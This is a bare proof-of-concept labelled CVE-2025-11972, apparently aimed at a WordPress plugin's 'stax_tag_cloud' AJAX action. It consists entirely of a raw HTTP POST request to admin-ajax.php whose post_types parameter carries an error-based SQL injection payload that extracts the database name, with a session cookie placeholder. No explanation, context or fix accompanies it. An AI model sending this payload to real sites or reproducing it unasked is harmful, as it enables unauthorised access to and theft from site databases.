CVE-2025-11972

POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [valid_session_cookie] action=stax_tag_cloud&post_types=post' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)-- -

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